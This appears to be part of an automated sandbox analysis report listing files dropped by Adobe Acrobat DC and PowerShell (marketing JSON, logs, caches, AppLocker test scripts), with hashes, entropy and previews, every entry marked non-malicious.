MD5:	327DB086B7B23EDCE4014E63A26B6D9E
SHA1:	89BE753BB81D5DF3D463A0CC87B7EE7BD80F3E03
SHA-256:	3DA05E85CFC2CF657BFA950B824DAA56037DCFBE6BEF007325EECB1604632E57
SHA-512:	941E8C6186AE78F855B0BA26C1EB4EFDDC9D2A32AC044893178E18613F3DC3660AE0BB6877AF0D6B207B67CC7F82CB41BAFD86D36E6BF04294D4823D56A18D01
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9ef88b23-f118-4155-82f3-4779d59d1c3c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717935725,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.285841894151079
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDm+wPrKWS+FIbRI6XVW7+0YOnDoAvJf21rPeUkwRe9:YvXKXDqNYpW7sG+16Ukee9
MD5:	2224B13F54EEF81405D2FA127F7BF857
SHA1:	27B9606C520EC1DC02E9C369829DA6571CDAB609
SHA-256:	8A0C0BD3D2B57301F6CCB9B86FFE1E172B8BABA51D3167D92A6F586971397C37
SHA-512:	290A9BC336B8B62422BD2B641E4FFE3DBE8ADD57FFCBECBD6D7FF88C030281043D9A281B745D8AEE96B04A22A66553AE69FAEF30FCCFD66440D670EE758081C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9ef88b23-f118-4155-82f3-4779d59d1c3c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717935725,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.668217320351405
Encrypted:	false
SSDEEP:	24:Yv6X3i5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSt:YvhFBgkDMUJUAh8cvMt
MD5:	707C299FE3BA668C29E32123E3B5ECDC
SHA1:	0CF233BEF251A532DAF738E6761A6E2A01ABE0E9
SHA-256:	17AF03A91819278D61C1B0FBB5F74305EA001C96F86624CDC03160C7B9C9F6D5
SHA-512:	5C199B0F91F40BFC657CE48E32334EC98B087B1D995D5F5C2C0FAE550582B2210EE8021D93F681C0D5B472641C3DE8898D86B1BECE329A04198366668D21575A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9ef88b23-f118-4155-82f3-4779d59d1c3c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717935725,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.260814408456333
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDm+wPrKWS+FIbRI6XVW7+0YOnDoAvJfshHHrPeUkwRe9:YvXKXDqNYpW7sGUUUkee9
MD5:	0D14ADC031A48947CD0D1821E111E2DC
SHA1:	03744769E03D2ACF7DA55D0372B8EB662007DD8B
SHA-256:	84ABC7A79760149E30C73E14859B8CC635B20A2A388DB19F15D83755B832856D
SHA-512:	9AC587D72260D5E13C21D38F0220080C0F93E60F04953CAC731AE5D11E1962431CA220B8375D9093F61B9E294A7327F9294A4EE0E98922CA994884FF2ACFCF95
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9ef88b23-f118-4155-82f3-4779d59d1c3c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717935725,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.273953185447292
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDm+wPrKWS+FIbRI6XVW7+0YOnDoAvJTqgFCrPeUkwRe9:YvXKXDqNYpW7sGTq16Ukee9
MD5:	4D7733AAA474CD8D28AAF4AD27AAC2E2
SHA1:	E1AEBECD01F0F654F21A779F19CA2188C9DFE270
SHA-256:	E73922DEBCA9DF5F6ADE5ECD373EFBC3C7CF4C6F8DAE81696BD4B91ADC977815
SHA-512:	01AA05708487E05C1185FB163CA52083DA233030B797F0D83997B7E3C80F00D4AA3F9B36747A30C8B1F7021FD24635EB12717D0DAD76C5B35629E956481695CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9ef88b23-f118-4155-82f3-4779d59d1c3c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736717935725,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.147428628692325
Encrypted:	false
SSDEEP:	24:YgCFNgaKDayGBJxwLubHeCBqBBNwuNoaWhKtjtYj0SoV+sgKpw2x2LSoPCdVn4g0:YgCz5+E6UDaWyUwgdIqiB4Ft89pM
MD5:	FDECEEB206828F22E6AF3CBBCD7254CC
SHA1:	48ABD2041EE767CD7DE61DED102FF0B294A4DCC2
SHA-256:	298953EC50E309F3B60AC66EB7A05CBC278112C5E52A6E0F1C9AB4A56AB0FC5D
SHA-512:	D864684D30B40F5C2C459EF5D98F19D87B8A0A5EB37804B6B966ECA56B0CE5F3CBBDF0AF3118A76430E49C584431598510CC8C5BCA19D529F97324F4A8DEA401
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"72b9043a0b44e2e1b1470a28a6020cc8","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736540995000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4dd282ad068515953c1934fe7da385a8","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736540995000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"1f5f85936955afc23e94df4166e07a85","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736540995000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"9099ea27d831a6bce841cf3c0694fca9","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736540995000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"40b83392df7c23fd5d1ce16f3c02f8fa","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736540995000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"85dfd85f9920b8c3f48eb94294c3ecae","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9851609488141629
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpmN4zJwtNBwtNbRZ6bRZ4BNF:TVl2GL7ms6ggOVpmmzutYtp6PMn
MD5:	2EC340CC2079E15657C28449220DCE12
SHA1:	7BD5CEFB8C6C2FF471C44904F0EEF47C56F328B8
SHA-256:	FCC2E88B423BA1769A6341BB9E68FE27EA6BE5771DE0AA49925EA8C4A69345B1
SHA-512:	304280173F70F00BB3ABFEF4C3298E2AD3E85184F7220E511037A2BAC98BC616C4A19218607317102D02D1407AD0E30ED51FBC39C8068DC754A5569530D789B5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3379095441650555
Encrypted:	false
SSDEEP:	24:7+tgvAD1RZKHs/Ds/SpmNPzJwtNBwtNbRZ6bRZWf1RZKKqLBx/XYKQvGJF7ursh:7MQGgOVpm9zutYtp6PMrqll2GL7msh
MD5:	1AF0269498FB1542E989ECC0EEC257D1
SHA1:	5F72797EC4473B94FF771BBF331B20AFB011C2C3
SHA-256:	45FE8920AD988F4FB16DD88BCFAF8F1369C9EFD96F34BC9952580CBC851C128F
SHA-512:	AAA47165C3F8A6ED54D1958C18E87DB0E7C1EDFA21B65D9DBE55BAFEB4B3EB6F62AB49E075147ADFE03BA2956AB8D809778651CD243AD6FB3DAF37DC645B6FF9
Malicious:	false
Preview:	.... .c......e........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgfO0RqPswKN+nDHSeG8dkde2Yyu:6a6TZ44ADEfOCqknNsGg2K
MD5:	4F77C0201BFEADDC3BE7296DAEAC8E95
SHA1:	F06EE27C8F65FAC5E38C3A31E23A798D19055CE4
SHA-256:	CC3F0A240DB9BEC5B0FEE7DE689CDC2C6A023632B2735D4E16DCB9E30A4B222F
SHA-512:	C04D029075EE8BF015E3E6EDA8E9CCE122309DE442CD95E67C023E67ED1DC291327BB2816B3385DFFADED74E238F23B6FA0E3FE0EFCD8141ACAA66B3B920F16B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI4b974.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.513199765407527
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEWInH:Qw946cPbiOxDlbYnuRK+bDWIH
MD5:	ADDE970C8758FCD451FFDACF43149AAC
SHA1:	B7953CDC0505E05596919FCDFB376CBC0E49C97B
SHA-256:	C563F92BB07EA0D59865BE86E0339608F8753C57839A523445A206A1ACDDF3B6
SHA-512:	A63BBF6228B7C3E017904689C267A8E8FED576329AA8B62B13E907164811BE4C529781D320BAD70DB0859B9F1E74D695EA2796E95087021AA6171FB978D29263
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.2.9.:.5.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4hsluahw.1m4.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bc3wm514.103.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-29-46-063.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.365466780528367
Encrypted:	false
SSDEEP:	384:VdPvQ+pTuBA6/5BxacQknNYlpmDXeV167otRH/PLGfc4yhqPnY3SPAPjGgu8XyK8:RWL
MD5:	6CBAAE79C947456AB66C1E33378F47E0
SHA1:	B45B141AD86374BB9FBDA7B0F196D22D183C85DB
SHA-256:	3B66E419F1B346C48A71EE7FE249BD056016FC1329357D7B9B0F91B3E4705FCE
SHA-512:	17DCEE9A6B650F80936FEB8317BBFD9DA5C5D28CD443BD174828B11B173DB7ABD7E8891D167F7160DA7EFE6E32325DDD3A13939C61E70FECD72839C8C77B0A93
Malicious:	false
Preview:	SessionID=64ea7058-8766-4cd7-bd02-3ab515999c62.1736540986130 Timestamp=2025-01-10T15:29:46:130-0500 ThreadID=7812 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=64ea7058-8766-4cd7-bd02-3ab515999c62.1736540986130 Timestamp=2025-01-10T15:29:46:131-0500 ThreadID=7812 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=64ea7058-8766-4cd7-bd02-3ab515999c62.1736540986130 Timestamp=2025-01-10T15:29:46:131-0500 ThreadID=7812 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=64ea7058-8766-4cd7-bd02-3ab515999c62.1736540986130 Timestamp=2025-01-10T15:29:46:132-0500 ThreadID=7812 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=64ea7058-8766-4cd7-bd02-3ab515999c62.1736540986130 Timestamp=2025-01-10T15:29:46:132-0500 ThreadID=7812 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.400767129115294
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbp:eTJX6C0AAoBzCH
MD5:	F876B8005E7AE7EB16ED1764CD8478B7
SHA1:	F8534849419F021EB0BA53C1321610A1A4CF1D75
SHA-256:	FE49C5FDDEA20785C6D789850B7A8E06EFEF956EBFB7D9CB915EB83366D6C0BB
SHA-512:	561FF31633CD029ADD43C95904243DD7ACEEF18DFD49915F289E90ADE6DC3ACB6C626C83A59D19DC34E7706C259131CD64B88B29D517BD3C973C9ED51DCCD36B
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\795d160d-c30e-424d-9b27-a4d261f64f13.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\7dc49062-6051-420e-be43-6a7d8e314370.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\d03bf67d-cfb3-47d2-9867-de560faa78d1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/9wYIGNPQmeWL07oXGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:lwZG2XWLxXGZN3mlind9i4ufFXpAXkru
MD5:	CDB0A9F62FD4871F0603FBBF1FE6BD06
SHA1:	C972A2B8E6E7CD72A156C1EAB8F5F31E76A7DA24
SHA-256:	85BD3F2168D078DFF0ECEB670C3DC651E8797522C6A2921EC478EAD5A09E415F
SHA-512:	7FC3B110A45F9D518FEA45930B73F196FEE7DF472A17FB2CBB19A3BCBF5C78D439F68E2C615D8DACD5821EF60C1447112FB86431D768E28D9F08457563011F28
Malicious:	false
